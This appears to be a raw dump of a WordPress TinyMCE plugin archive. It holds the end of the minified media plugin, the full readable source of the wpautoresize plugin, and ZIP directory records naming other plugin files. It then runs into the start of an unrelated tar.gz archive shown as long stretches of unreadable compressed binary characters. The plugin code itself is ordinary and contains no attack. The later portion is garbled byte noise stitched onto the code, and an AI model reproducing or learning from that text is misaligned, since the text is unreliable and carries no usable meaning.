below:",forId:"mcemediasource"},s]}];0<c.length&&l.push({title:"Advanced",type:"form",items:c}),i=n.windowManager.open({title:"Insert/edit media",data:t,bodyType:"tabpanel",body:l,onSubmit:function(){var t,e;ie(i),t=n,(e=i.toJSON()).embed=W(e.embed,e),e.embed&&G(e.source1)?ue(t,e.embed):B(t,e).then(function(e){ue(t,e.html)})["catch"](ae(t))}}),ne(i)},le=function(e){return{showDialog:function(){se(e)}}},me=function(e){e.addCommand("mceMedia",function(){se(e)})},de=tinymce.util.Tools.resolve("tinymce.html.Node"),he=function(o,e){if(!1===u(o))return e;var a,c=E();return z({validate:!1,allow_conditional_comments:!1,special:"script,noscript",comment:function(e){c.comment(e)},cdata:function(e){c.cdata(e)},text:function(e,t){c.text(e,t)},start:function(e,t,r){if(a=!0,"script"!==e&&"noscript"!==e&&"svg"!==e){for(var n=t.length-1;0<=n;n--){var i=t[n].name;0===i.indexOf("on")&&(delete t.map[i],t.splice(n,1)),"style"===i&&(t[n].value=o.dom.serializeStyle(o.dom.parseStyle(t[n].value),e))}c.start(e,t,r),a=!1}},end:function(e){a||c.end(e)}},L({})).parse(e),c.getContent()},fe=function(e,t){var r,n=t.name;return(r=new de("img",1)).shortEnded=!0,ge(e,t,r),r.attr({width:t.attr("width")||"300",height:t.attr("height")||("audio"===n?"30":"150"),style:t.attr("style"),src:o.transparentSrc,"data-mce-object":n,"class":"mce-object mce-object-"+n}),r},pe=function(e,t){var r,n,i,o=t.name;return(r=new de("span",1)).attr({contentEditable:"false",style:t.attr("style"),"data-mce-object":o,"class":"mce-preview-object mce-object-"+o}),ge(e,t,r),(n=new de(o,1)).attr({src:t.attr("src"),allowfullscreen:t.attr("allowfullscreen"),style:t.attr("style"),"class":t.attr("class"),width:t.attr("width"),height:t.attr("height"),frameborder:"0"}),(i=new de("span",1)).attr("class","mce-shim"),r.append(n),r.append(i),r},ge=function(e,t,r){var n,i,o,a,c;for(a=(o=t.attributes).length;a--;)n=o[a].name,i=o[a].value,"width"!==n&&"height"!==n&&"style"!==n&&("data"!==n&&"src"!==n||(i=e.convertURL(i,n)),r.attr("data-mce-p-"+n,i));(c=t.firstChild&&t.firstChild.value)&&(r.attr("data-mce-html",escape(he(e,c))),r.firstChild=null)},ve=function(e){for(;e=e.parent;)if(e.attr("data-ephox-embed-iri"))return!0;return!1},we=function(i){return function(e){for(var t,r,n=e.length;n--;)(t=e[n]).parent&&(t.parent.attr("data-mce-object")||("script"!==t.name||(r=A(w(i),t.attr("src"))))&&(r&&(r.width&&t.attr("width",r.width.toString()),r.height&&t.attr("height",r.height.toString())),"iframe"===t.name&&a(i)&&o.ceFalse?ve(t)||t.replace(pe(i,t)):ve(t)||t.replace(fe(i,t))))}},be=function(d){d.on("preInit",function(){var t=d.schema.getSpecialElements();v.each("video audio iframe object".split(" "),function(e){t[e]=new RegExp("</"+e+"[^>]*>","gi")});var r=d.schema.getBoolAttrs();v.each("webkitallowfullscreen mozallowfullscreen allowfullscreen".split(" "),function(e){r[e]={}}),d.parser.addNodeFilter("iframe,video,audio,object,embed,script",we(d)),d.serializer.addAttributeFilter("data-mce-object",function(e,t){for(var r,n,i,o,a,c,u,s,l=e.length;l--;)if((r=e[l]).parent){for(u=r.attr(t),n=new de(u,1),"audio"!==u&&"script"!==u&&((s=r.attr("class"))&&-1!==s.indexOf("mce-preview-object")?n.attr({width:r.firstChild.attr("width"),height:r.firstChild.attr("height")}):n.attr({width:r.attr("width"),height:r.attr("height")})),n.attr({style:r.attr("style")}),i=(o=r.attributes).length;i--;){var m=o[i].name;0===m.indexOf("data-mce-p-")&&n.attr(m.substr(11),o[i].value)}"script"===u&&n.attr("type","text/javascript"),(a=r.attr("data-mce-html"))&&((c=new de("#text",3)).raw=!0,c.value=he(d,unescape(a)),n.append(c)),r.replace(n)}})}),d.on("setContent",function(){d.$("span.mce-preview-object").each(function(e,t){var r=d.$(t);0===r.find("span.mce-shim",t).length&&r.append('<span class="mce-shim"></span>')})})},ye=function(e){e.on("ResolveName",function(e){var t;1===e.target.nodeType&&(t=e.target.getAttribute("data-mce-object"))&&(e.name=t)})},xe=function(t){t.on("click keyup",function(){var e=t.selection.getNode();e&&t.dom.hasClass(e,"mce-preview-object")&&t.dom.getAttrib(e,"data-mce-selected")&&e.setAttribute("data-mce-selected","2")}),t.on("ObjectSelected",function(e){var t=e.target.getAttribute("data-mce-object");"audio"!==t&&"script"!==t||e.preventDefault()}),t.on("objectResized",function(e){var t,r=e.target;r.getAttribute("data-mce-object")&&(t=r.getAttribute("data-mce-html"))&&(t=unescape(t),r.setAttribute("data-mce-html",escape(W(t,{width:e.width,height:e.height}))))})},Oe=function(e){e.addButton("media",{tooltip:"Insert/edit media",cmd:"mceMedia",stateSelector:["img[data-mce-object]","span[data-mce-object]","div[data-ephox-embed-iri]"]}),e.addMenuItem("media",{icon:"media",text:"Media",cmd:"mceMedia",context:"insert",prependToContext:!0})};i.add("media",function(e){return me(e),Oe(e),ye(e),be(e),xe(e),le(e)})}();PK�\d[oc�ddwpautoresize/plugin.jsnu�[���/**
 * plugin.js
 *
 * Copyright, Moxiecode Systems AB
 * Released under LGPL License.
 *
 * License: http://www.tinymce.com/license
 * Contributing: http://www.tinymce.com/contributing
 */

// Forked for WordPress so it can be turned on/off after loading.

/*global tinymce:true */
/*eslint no-nested-ternary:0 */

/**
 * Auto Resize
 *
 * This plugin automatically resizes the content area to fit its content height.
 * It will retain a minimum height, which is the height of the content area when
 * it's initialized.
 */
tinymce.PluginManager.add( 'wpautoresize', function( editor ) {
	var settings = editor.settings,
		oldSize = 300,
		isActive = false;

	if ( editor.settings.inline || tinymce.Env.iOS ) {
		return;
	}

	function isFullscreen() {
		return editor.plugins.fullscreen && editor.plugins.fullscreen.isFullscreen();
	}

	function getInt( n ) {
		return parseInt( n, 10 ) || 0;
	}

	/**
	 * This method gets executed each time the editor needs to resize.
	 */
	function resize( e ) {
		var deltaSize, doc, body, docElm, DOM = tinymce.DOM, resizeHeight, myHeight,
			marginTop, marginBottom, paddingTop, paddingBottom, borderTop, borderBottom;

		if ( ! isActive ) {
			return;
		}

		doc = editor.getDoc();
		if ( ! doc ) {
			return;
		}

		e = e || {};
		body = doc.body;
		docElm = doc.documentElement;
		resizeHeight = settings.autoresize_min_height;

		if ( ! body || ( e && e.type === 'setcontent' && e.initial ) || isFullscreen() ) {
			if ( body && docElm ) {
				body.style.overflowY = 'auto';
				docElm.style.overflowY = 'auto'; // Old IE.
			}

			return;
		}

		// Calculate outer height of the body element using CSS styles.
		marginTop = editor.dom.getStyle( body, 'margin-top', true );
		marginBottom = editor.dom.getStyle( body, 'margin-bottom', true );
		paddingTop = editor.dom.getStyle( body, 'padding-top', true );
		paddingBottom = editor.dom.getStyle( body, 'padding-bottom', true );
		borderTop = editor.dom.getStyle( body, 'border-top-width', true );
		borderBottom = editor.dom.getStyle( body, 'border-bottom-width', true );
		myHeight = body.offsetHeight + getInt( marginTop ) + getInt( marginBottom ) +
			getInt( paddingTop ) + getInt( paddingBottom ) +
			getInt( borderTop ) + getInt( borderBottom );

		// IE < 11, other?
		if ( myHeight && myHeight < docElm.offsetHeight ) {
			myHeight = docElm.offsetHeight;
		}

		// Make sure we have a valid height.
		if ( isNaN( myHeight ) || myHeight <= 0 ) {
			// Get height differently depending on the browser used.
			myHeight = tinymce.Env.ie ? body.scrollHeight : ( tinymce.Env.webkit && body.clientHeight === 0 ? 0 : body.offsetHeight );
		}

		// Don't make it smaller than the minimum height.
		if ( myHeight > settings.autoresize_min_height ) {
			resizeHeight = myHeight;
		}

		// If a maximum height has been defined don't exceed this height.
		if ( settings.autoresize_max_height && myHeight > settings.autoresize_max_height ) {
			resizeHeight = settings.autoresize_max_height;
			body.style.overflowY = 'auto';
			docElm.style.overflowY = 'auto'; // Old IE.
		} else {
			body.style.overflowY = 'hidden';
			docElm.style.overflowY = 'hidden'; // Old IE.
			body.scrollTop = 0;
		}

		// Resize content element.
		if (resizeHeight !== oldSize) {
			deltaSize = resizeHeight - oldSize;
			DOM.setStyle( editor.iframeElement, 'height', resizeHeight + 'px' );
			oldSize = resizeHeight;

			// WebKit doesn't decrease the size of the body element until the iframe gets resized.
			// So we need to continue to resize the iframe down until the size gets fixed.
			if ( tinymce.isWebKit && deltaSize < 0 ) {
				resize( e );
			}

			editor.fire( 'wp-autoresize', { height: resizeHeight, deltaHeight: e.type === 'nodechange' ? deltaSize : null } );
		}
	}

	/**
	 * Calls the resize x times in 100ms intervals. We can't wait for load events since
	 * the CSS files might load async.
	 */
	function wait( times, interval, callback ) {
		setTimeout( function() {
			resize();

			if ( times-- ) {
				wait( times, interval, callback );
			} else if ( callback ) {
				callback();
			}
		}, interval );
	}

	// Define minimum height.
	settings.autoresize_min_height = parseInt(editor.getParam( 'autoresize_min_height', editor.getElement().offsetHeight), 10 );

	// Define maximum height.
	settings.autoresize_max_height = parseInt(editor.getParam( 'autoresize_max_height', 0), 10 );

	function on() {
		if ( ! editor.dom.hasClass( editor.getBody(), 'wp-autoresize' ) ) {
			isActive = true;
			editor.dom.addClass( editor.getBody(), 'wp-autoresize' );
			// Add appropriate listeners for resizing the content area.
			editor.on( 'nodechange setcontent keyup FullscreenStateChanged', resize );
			resize();
		}
	}

	function off() {
		var doc;

		// Don't turn off if the setting is 'on'.
		if ( ! settings.wp_autoresize_on ) {
			isActive = false;
			doc = editor.getDoc();
			editor.dom.removeClass( editor.getBody(), 'wp-autoresize' );
			editor.off( 'nodechange setcontent keyup FullscreenStateChanged', resize );
			doc.body.style.overflowY = 'auto';
			doc.documentElement.style.overflowY = 'auto'; // Old IE.
			oldSize = 0;
		}
	}

	if ( settings.wp_autoresize_on ) {
		// Turn resizing on when the editor loads.
		isActive = true;

		editor.on( 'init', function() {
			editor.dom.addClass( editor.getBody(), 'wp-autoresize' );
		});

		editor.on( 'nodechange keyup FullscreenStateChanged', resize );

		editor.on( 'setcontent', function() {
			wait( 3, 100 );
		});

		if ( editor.getParam( 'autoresize_on_init', true ) ) {
			editor.on( 'init', function() {
				// Hit it 10 times in 200 ms intervals.
				wait( 10, 200, function() {
					// Hit it 5 times in 1 sec intervals.
					wait( 5, 1000 );
				});
			});
		}
	}

	// Reset the stored size.
	editor.on( 'show', function() {
		oldSize = 0;
	});

	// Register the command.
	editor.addCommand( 'wpAutoResize', resize );

	// On/off.
	editor.addCommand( 'wpAutoResizeOn', on );
	editor.addCommand( 'wpAutoResizeOff', off );
});
PK�\d[�S�(	(	wpautoresize/plugin.min.jsnu�[���tinymce.PluginManager.add("wpautoresize",function(g){var m=g.settings,h=300,c=!1;function f(e){return parseInt(e,10)||0}function y(e){var t,o,n,i,a,s,l,u,r,d=tinymce.DOM;c&&(o=g.getDoc())&&(e=e||{},t=o.body,o=o.documentElement,n=m.autoresize_min_height,!t||e&&"setcontent"===e.type&&e.initial||g.plugins.fullscreen&&g.plugins.fullscreen.isFullscreen()?t&&o&&(t.style.overflowY="auto",o.style.overflowY="auto"):(i=g.dom.getStyle(t,"margin-top",!0),a=g.dom.getStyle(t,"margin-bottom",!0),s=g.dom.getStyle(t,"padding-top",!0),l=g.dom.getStyle(t,"padding-bottom",!0),u=g.dom.getStyle(t,"border-top-width",!0),r=g.dom.getStyle(t,"border-bottom-width",!0),(i=t.offsetHeight+f(i)+f(a)+f(s)+f(l)+f(u)+f(r))&&i<o.offsetHeight&&(i=o.offsetHeight),(i=isNaN(i)||i<=0?tinymce.Env.ie?t.scrollHeight:tinymce.Env.webkit&&0===t.clientHeight?0:t.offsetHeight:i)>m.autoresize_min_height&&(n=i),m.autoresize_max_height&&i>m.autoresize_max_height?(n=m.autoresize_max_height,t.style.overflowY="auto",o.style.overflowY="auto"):(t.style.overflowY="hidden",o.style.overflowY="hidden",t.scrollTop=0),n!==h&&(a=n-h,d.setStyle(g.iframeElement,"height",n+"px"),h=n,tinymce.isWebKit&&a<0&&y(e),g.fire("wp-autoresize",{height:n,deltaHeight:"nodechange"===e.type?a:null}))))}function n(e,t,o){setTimeout(function(){y(),e--?n(e,t,o):o&&o()},t)}g.settings.inline||tinymce.Env.iOS||(m.autoresize_min_height=parseInt(g.getParam("autoresize_min_height",g.getElement().offsetHeight),10),m.autoresize_max_height=parseInt(g.getParam("autoresize_max_height",0),10),m.wp_autoresize_on&&(c=!0,g.on("init",function(){g.dom.addClass(g.getBody(),"wp-autoresize")}),g.on("nodechange keyup FullscreenStateChanged",y),g.on("setcontent",function(){n(3,100)}),g.getParam("autoresize_on_init",!0))&&g.on("init",function(){n(10,200,function(){n(5,1e3)})}),g.on("show",function(){h=0}),g.addCommand("wpAutoResize",y),g.addCommand("wpAutoResizeOn",function(){g.dom.hasClass(g.getBody(),"wp-autoresize")||(c=!0,g.dom.addClass(g.getBody(),"wp-autoresize"),g.on("nodechange setcontent keyup FullscreenStateChanged",y),y())}),g.addCommand("wpAutoResizeOff",function(){var e;m.wp_autoresize_on||(c=!1,e=g.getDoc(),g.dom.removeClass(g.getBody(),"wp-autoresize"),g.off("nodechange setcontent keyup FullscreenStateChanged",y),e.body.style.overflowY="auto",e.documentElement.style.overflowY="auto",h=0)}))});PK�\d[�^�[��tabfocus/plugin.jsnu�[���PK�\d[�C	�NN�tabfocus/plugin.min.jsnu�[���PK�\d[qMY:��`wpview/plugin.jsnu�[���PK�\d[]l��VVc-wpview/plugin.min.jsnu�[���PK�\d[[��#V�V��8image/plugin.jsnu�[���PK�\d[����=�=��image/plugin.min.jsnu�[���PK�\d[�S�q�
�
�wpemoji/plugin.jsnu�[���PK�\d[
@|����!wpemoji/plugin.min.jsnu�[���PK�\d[�Z:��A�A2(paste/plugin.jsnu�[���PK�\d[�xKbuxux%jpaste/plugin.min.jsnu�[���PK�\d[��n�Z�Z��charmap/plugin.jsnu�[���PK�\d[�=�#�!�!�=charmap/plugin.min.jsnu�[���PK�\d[��kb"b"�_wptextpattern/plugin.jsnu�[���PK�\d[Y�D�11O�wptextpattern/plugin.min.jsnu�[���PK�\d[O���]�]ˎlink/plugin.jsnu�[���PK�\d[VƺH�"�"��link/plugin.min.jsnu�[���PK�\d[,*"lists/plugin.jsnu�[���PK�\d[���KXiXiN#lists/plugin.min.jsnu�[���PK�\d[?#Z~���hr/plugin.jsnu�[���PK�\d[S����hr/plugin.min.jsnu�[���PK�\d[XM��E�E��wplink/plugin.jsnu�[���PK�\d[�\u�##n�wplink/plugin.min.jsnu�[���PK�\d[M���$�$�compat3x/plugin.jsnu�[���PK�\d[[wH��� compat3x/css/dialog.cssnu�[���PK�\d[���C!!4Acompat3x/plugin.min.jsnu�[���PK�\d[��..,.,�Qtextcolor/plugin.jsnu�[���PK�\d[U6��??~textcolor/plugin.min.jsnu�[���PK�\d[�A]�b�b���wordpress/plugin.jsnu�[���PK�\d[߼�@@7wordpress/plugin.min.jsnu�[���PK�\d[��a��
�
�Wcolorpicker/plugin.jsnu�[���PK�\d[���EE�ecolorpicker/plugin.min.jsnu�[���PK�\d[lE+*d*dQkwpeditimage/plugin.jsnu�[���PK�\d[�l�#/#/��wpeditimage/plugin.min.jsnu�[���PK�\d[c��oo,�wpgallery/plugin.jsnu�[���PK�\d[7֦aWW�wpgallery/plugin.min.jsnu�[���PK�\d[����|fullscreen/plugin.jsnu�[���PK�\d[��F���(fullscreen/plugin.min.jsnu�[���PK�\d[8H�ddk1directionality/plugin.jsnu�[���PK�\d[����YY9directionality/plugin.min.jsnu�[���PK�\d[�Ќy�	�	�<wpdialogs/plugin.jsnu�[���PK�\d[r�f**�Fwpdialogs/plugin.min.jsnu�[���PK�\d[+��z�z��Kmedia/plugin.jsnu�[���PK�\d[��		�@�@��media/plugin.min.jsnu�[���PK�\d[oc�dd�.	wpautoresize/plugin.jsnu�[���PK�\d[�S�(	(	]F	wpautoresize/plugin.min.jsnu�[���PK--��O	14338/crystal.tar.gz000064400000036240151024420100010030 0ustar00��T������R�T�Жmii��;)-)R�������݃Cp�<H�M�y��]s��κs�����d'�d?��=;�������>����?+�谳��w����
������������O;;3%�?m��_���ӱA��_�����qF3J9K}];JI]K[�G��)��mt��,)E,�͌,	��Yq30�[;���9�#�G
�f�:��z��z�6���r��e,��
���_�����8S232r<2���T��ѓ�ѷ���Bm�KuD7Y�i���1��>(�E�RO����z�A�gabd�������W��$X�8��W��	$%D�����y�����9/'�$�B�������...���noo�H$�8??������������0���
�___������nll���B ���������ӭ����ͱ�����������������ܼ����������Ů����������������� p������}bbb}}NNN���677gg���7����W���<99���2>>��ֶ��������>55UTT���o��������4<<���[ZZ�']���K���U�@ ]]]UUU55�ss�kk����������C蔔�TW�������466-,,

tww}���%%�}}����{{�����๹������1`VV�����*;;;//����Cgg�[[�{1������9::���6:
�6���ʋ��@qqio/`kk���jiiyxxdqq���h~~���В���������f��n������e��w��:�́��C�[�5��/�r��
����!�g<�H�ƥ���
C��#����^�ż	]N8F�d�>���󍽨2�����8�K�����|H���1��r�M�3Öӝ��T���s��LVP�SE�X���hi����V�:U���dp(��}jH�P�ym�H����@4Zy��,��]�q�g��sk5�� _虿Vg�!^tY<�"YH:5l6l��V5��n
��2g�խ�B���
w:����4��pgv>��fi|�왱� ��}:�7�D�p�<0�GQ֤#&[_r<i���&M�kI�����n��.��N�p��ɰw��>Y��W�]N�~j�Vif���4�d�'�.�zm�5U��D����&�܁�.��x�0����}�@�钽k#��OE4�?4��w��/_ O8�Oʏ�m���[���Nz�o��l3Rxv�|}u��#>���vu:0V��p܎�O�i��L��G#�:2=n��Sɳ���N����8��~̩)&�d���2<O�q�y0�n~����l�jLaM�
Y[���e�<�����OC���)	�<dȂa���N���jߙ9ud�����6�y��d�R�U���Te����>��RF
kx�TQ��l�I��zq�R(k[6�rn���8��^m�<����Y��ov��i����(`<H�E*�WE�WQ%l��9h㬪]\�BP�<ϯ7e?�ds��g��+(�o|�r�2(��Ȃ�* �W�g�e�Wj~�7lF��(߯m�<��޴H�?J�.�����=
���sn5E�92�rC4�6M��B�P�KOw�Zq2�Ӯ�e�9]R&y��^��8j?����;�q���:x�M �b��86��	��C�$������-�ˢ0�ɗ�K���>h���� D�쿿<�z͍�Y~-~�Gn�t��Ң���7m';��bǻ�u�F6�������n�0E0��O�S<��5�z�ua_A�0_w'<�t{�s�<崁��`7}�[֟�CR�h������W�F�R��\���ɀ���X�8�[��@�_��/ȿ���n�����F74��
Ѵ��?4�)
h�C#���,�&B4,�YM�hdD�̇fA4v�1�bh�Cc���F74�1M�hD3������24�����fD42���u��lb�ulڼ�gRڽ
m�=�\<D# `��Y9�ٶt�d���ρ��sl�if��9���ܱ,|�`\7�o\ڼu��pʚ:�����O��)K�8����1mp{`�|t�vf�g���+������F���ԏ�|��|R�<
�s;F �I�=^�5�?}�z���QN�5��8Tr��q�̢��U0��k�Zc��kZGrհ�r�#�U�!)4�|�����x�:��0
l���g���Uט��#�<������ӻ̢��h��
|J5]r5��hT���/!zwOK�U�1D]�,Sy��dt����()�Kˣ��[~#g3���f1ӌԲ���	���܂:qD_�sw�@�MJP��IR�KE͐����OmvY}#Ssu�ѝ����]$=�f�v��nhhDm�CJՈ�:^i5�$�����}X�cN�ܶ����s���u������9��Q'&���<-6�~�3�h]vuʚ84��w(���W�
k���ȡԩ(��2��z�%K~��ȍ,��JN��'�F�v�W5���5O�H�{uں�O�9_�ڳ��J|����``f��̰42��U������I��C�b�M�c(Yb |��kIR��#UN�8"����/H��O2
���X%�ŞrL�{������ʝ�'y�)x2�ʂp�m}>��L&V��W�1)_oUB���K*/4�SJA%srؽwς��b~x1M�8�Pc[��b�7�m��S�!�q�{�c�L�7In�h�1�)��℩e�G���RE�<Q��wpe����y���>՟+*㙖����'AP ݫ6z��`{=���V� ��#�;'<�����9�t����,�=<�{��L��CO��67�?�fP�,C��f*+��<��n�."�f��ӎ���n�����x�x��(�KĮ_$�����h��D��΂mOox?,z�g3^p-���
�0
l]�ލ���z?97G�c�}E��E
ҧ�35�1��*2�:�x���B��u�a�m�A���?���!��ò��ˌz���Ed>0%� �� �.�m����v0I4P�>e��7��;H�"�:k~�iBLg�Q�n�ߛ��
��>�+v[��,-ꭦZ��+կ�b���݅&�2�s���͠�:*)�=�$�� �|�w�<���B=u�x�9y^�pu�In��HW��Ƶ�����fjJ��ʻ����ɫ��׏�L�V]h��n���^G2|s�cz�e"������}��N�����;���MM�����`@� ���].��ND�8��2�p�(���o�p/%E�7{��Ŋ��]�%(�����<l�r��!��|���C��s��
.��[$6�zKE��&�P{�ϓ����#i�~�v̇Ƞr2�Ta�~�絮㝉WZ�\��H(�Ws�����H��d+;LUY�2��I~��/�v�ץʎIv�

����N�r����w�B���mH��#�撄�dq]`t<��GW�72�
]���z��ul�'����͇����gi|��6Oc8�����/��ׇ]�3�K?z��3�=籔Ir��h��I����ݘ0�;�	Jp�{����1h���������i*��ݱ�h��y p��\'z|�5|Z�$\[��]��M^C��.�=��i{��^h���'�\��a\ya`c�ET�\��5�Flf�ёL�[�*�M�T`'�AU`g.������w�Ŏ3�;Cs���
=W'���(ÅW��^,�M��-Z~<pj�p u篕dM��X���hP��3&�.�^"}�
\<��ڟ&$�l�Ҥgl�\���?��c=}�r��?3+���Y�����'��y�wt��>�ߊ��hf%�A4��]YL�5rl��Z'L�I��oAL]V��$�O���[�Ooe��'pt%��a����[��>a�x��9a��z�x���gqM�xHo|��36���b�v�!�I.��;��$:�L��:AA��Q�v��Zԕ�R�!Y/�`�JE�w������Lܺ#��8�ݣR�㵖�e�ׂ�Y�������|�7u���0|0p�>�������H-��ks�>��3�߱F�v�qh�T�{\���E���"�H�_��|$o���܇j3	�*�p�*M6���U䈶�'�Ĺ{RL��A
t��b��*��v��w��VW�%^�@�̲����=Ͻml�W�G
�zI;�7��\�A�,�P�t����+�� �6����-��+m��� ����6���2��=�4�g����u,�B$�db��dO�u�e���C79߹<	��; z�YM����,F�B�nK�^�B����;:�g�u�<5�������_�S�G����+&[\�B����O���"��%c�L��9�?DOc����wz���/��QR�A��"��<2�1,��j��[�I^)j��r��B���skXO�Fh:FSz�~)b�+�z��d�99`<R��ì�K��R��D
[�C���nyx���Õ-8�uC�(�j/���������;1@�f�I���S��At`/�G~׊�X���LV�;GwN��Sp佐?6u��?�g�漺4���u+�Sس�����d��о�i��o�f��~�"�(9/h6��z���y�4W^��!u�ln)M�b� M�饚$�s�4������a�����v�}{��4��7c]<1��h.�B6�g��yS<7��y�
�c��x�䦢n�رsfI����4ܱ'�~M�Vi_H����է���S[��Qc�It�]��y�M��Lk�[wwE��ACź�X!�20�A��e:���Z����B���YSH���Q��j���G�Ú�@qIȰ
�r��$̉��k_?�	�|4f�����wA`��b�hTT�E��
����Z�z��b{aG�܉���2'J���?s�D۾����}#���0�ğ�p�>Oy���©O���<�ŭ���q<��2�B��0����k��7��q�5�x?�@X���3C���K'�Hׅ@
oRW�W�{Nnv1����V��!*�u�o�	O��fS�N�:�~����H��zp]ٚ������$�\������m�;�o�Ί�[��������?��?���3����Fƿ�A�=�?���{yy�����Fݡnno���...@K@����hcc�y��0��6y~~��4��:q�=___vvV��3�Ww�lesu�xwy4ݟ�{wc�hg�4\�8Tjtt�`k����ޒ���+ٜ����)4%�dx	$�p��я��ܜ�DX1!�.����4�38���(Db��h��l��ym~�&Z�-U-ō7ʆ�%�'�2T��(V!��Pk���8\�8=��g���0p�GC��X�����t�%�{~rpv��qhLT��e���<===��dx�'��4%)g��$:q��O����S�&�uq�����+�N�G�۝�+�6�g����2�����U�d�x����Uo��f��
�6}u��D�@�P�d�����dE�T�{��@k��bGH�
� ��f�Z_`��S�M�1�9rs0.Ύ~���:�L��:G@�5�A].���+sC�+I;�6���rݽa��v�͑��6˥����ԴX?g�W�Ks�R��*K=J�f���H��^�7�ps��>�Ԗ�}����ֺ��5�d�L����!���~��F��~��*#�6p�@c8��Ѱ+ ^&�E,����p���g@W+x}��N�ˀ��Breab<ޙ	������3�ؐ����3�r8S�V��Gaku��#�[��d��@�X���c��a��w�;�p$3̰1� '52��82��k��j�H�Ӕ`!|)����<����<X�8���w�N�+dea`<P�/�?G%E2XT %��Ï���Xð��>�?	(#���,&&/(**�IlUK��:�N��j?�ڮ�s��H��W{:Cm���c��dF8��{���ۦ⯯dy�,��x_�p_*�fM��&I��������ϱ"0�|���
|����Z<nK<��w����Ί�|^$�v��j�8C>�P�"��;���7�����~���[�u�3��B�F�j�J
3Q��[Q!'�=c�4S�У����M���Sf�����$g�b�U�)Rg�c3�PP;�`�K�{'U�c؞��R������֭�9�������-����L񙧭�Y֙��lc�[��/�Fw��h���o�,��Cƚ+s��b��\�\l:]Ɏl���8������m�m�V��
�2�ޏ|��}nXV��jocc~`����zwsY+ފ��w1qv63�7;4쪍�
�h��>�5�w��P4]#37��7��_��hW���������ᙵ~�r�M���z�Yꖵ6�������m�_P��p��|q9O�T�r���1CG���V�rv�u2��si�k�l�xCޱ�_r�>3Z�^V�+����q>��Y_o���Y
9t�ۃ���¬@�6NK+F ,.�5f�VHh�=�a���_���J++/
"�=���	л��Շ��_�W��45n�o�r�����{��B�������h���	��Q̭�ߪ��xx�}�.�b���U~�}���ʎ�2�2M*m�S0�R��x��PՎ��
lH'��
�t}e#w�e������y���y${"n�+%阹sLN��l3"�R�b7�Pl��ܑ�5uV�Jzz���`���U�CδC��OPď��GL�E vi��u�8r�{7ߒ���$pn�8ߘẾ�NssOOK#�Ҫ����ՠ]��O�^'n�u =��K��Ң>^xzE��xG�D�K4�i^��'�7���
P���|��2=F��}/�)���^���#ɺ'@���I:�bV��02�#_����s��`G�ࠇ������$D�!�T���T~uzn$����]{"��¸��$i��O�k(+�q23¤9 ��X��/&?ۭ4��	o��(%�|�}�#̒�
����u�����[��y���դֆ�9ڟQ�;V"¦����`Q��'B�VN�{R��	���fSZˠ|��}��/��W��z^�<}J�Vm7r�rU�zE:��8C��Y��/-Gk'��d��""�5���Z�n���Aݔy�Ba8}��fJ��-;��UM6���:�V�;�y�}�zD��r�ߟ|%'_w�)�����&�x΅=��j��~�L���k���͖� �l%���<U��&��	����g��;�jo��͖;�������7I)��`|;r�n;���"��3/>iGv[��VcS5����O=�/(I��]t��@�I�'F�[�rGL%�@LR~��vvee���˻sv�_����,|�LvVfg�:����������;�5B
�qH��\�rR�+G$�|�A/W�<P`����h5,�@i����c2��s�#
�2�`X���Fa;(�9�T-6��6�j����ja���O���'�����Y����Y��A��?,����Ոi�'����R�o�o��n$`�At$�2-c=,i��S��Fn;<,�[),ŧt�1c<[*o�Om/"-~c������*���,����M��kzI�[	`c����O����ɤ���W�߂+���[����h.θ]��
�)�O�Ę��V3F�OS���p���o�KS#����w/�Rk�2ץ�j:�y}���֙�i�5�⵪�ڪ�,i1ܨ�d�5��m���Ph��@�\syԆ�BK�{3R�~�4�W;�R��aI��^�E��	�l�P��X
�u�u��6nQ��c��L��ȡE&��i!N�������"���������X���_�8��0��?���z�:|��p]X`�pc��
Lj��.��X{ᛙ��6^�nj�m^0݌~�tr>sw\�]��|;W��U�V��3��4ʉ��`��ٱ�wG)����jo�d��j��C���Z노��m?�u-��� �;l�铱��X��:�����������ڤ�����T�=ޑE�Nȥ�s�ygWJo�I_�d�'ֺ㑾^�ԙ���/'M�����v�9�$`��>�0oT;6�Iߟ/�V%��Ա����ѳ5���
������w��ؙ�:���?2��o����ë�+(zsss}}��ah�����l/���p����yoo��������lll��������߯��G�,lii���imm����wu-,,����������-c`LOO������--.������M`bJWQlmm�00���@ �}%��#DD��T�Mt@<���'O��	�00�C1t:Y~6~������H��)z�@F֊�9#%]�}���e[[��UB;�-�??PRrLHd\G���cz�و�y3GSEH�0.
wݻ����1��q���^�]�CTA���e"Ok�-�fY�y\����o��c�MT���c

��~c~��u$V���,1����Ϩ�'&&ӊJ���4D��t���:YtS��O�Hޛ>�&""й�� �Ɖ��1�����=
w���c�݆O���1*��w�?1#�(Q�O'^`,ƒ���QyT!jܻ�b364ƼX��#�Ԩ�7k�$u߉B���V��qqN*b�HҞ��n;�����	
����ȵL�^ܙ*KL�_͙��NwE^����.��ڼ��w�i���~�
�/�x(SS:�/e�0..��g�������N��
��l��h=�dVҢv�Z?~�z���ֻvV�	�Ëş���?¿%��3c셲��0�/��Ɛ��Œ ��PS�BU�I�!8N���F�`��)�#|�.?�͏J�����Jd�KMM�⼟KCs@�-��!�e���z���<��_�@8J�T�0�I�t�_Fy��|�
�*�N:R"�8���
*0����Yԛ^.@�5"�m�ȵ�E$�+���f<9W�ՎZ�`����R|~A�Dvq�j�=���>�š>�.�˞z���G�1OȨ^m�H�e�K-ФQ���t�=�i�m�cD�Y��v�y��J���ױ7�6�J�5��M0�xhso�ÖP�w�ǡm�qD���Q_�Z���p�p$�^��eЋ��b��w�1'T��-4����`���Ҩ�?gP;�����9�➐_�˚)�]@������~Wr���"F79����O�����񓖽[��w}�gm@1�'���s�&9�X4��-}�yN0�4��@E�d����/ڜ8���w�j/ڼz�[�Y	��M�Ҿ��,�����&|�܏��ݶ��Dɢ�����
cOڂ�e��ؒ�|k%��i(�:�u���S��p|g���%�&m�s��s-�g�	�:nT��E���D�,�}�,�mlh�����@����O�;��I^�F�f?��ӛ�?���v����nR�\�� v|'�f�&�N4�2���/��Ձ�>DY4�V���|<Qt	~ɫ5�M��w�ƹ���s%���4��!/�[4��MԆ�� G�*+,4W��8��Z�֠'y�O�O��Ƙ�Ο�QᐅR���͕ڒ���W��<�9kw9o�~p�q;�O�$� ��J��>���)�-!j4ۯi�i;��'�s"���w1�x��E�v�>1q~~��W	��9m竍���BLU#F�c�����B��}���*[\�Dz�����k
�_��Ǥ�|&%T�,P��+�`/�p�x\FWYNGS�<|U�\Z��?��Cl��²�|	���A
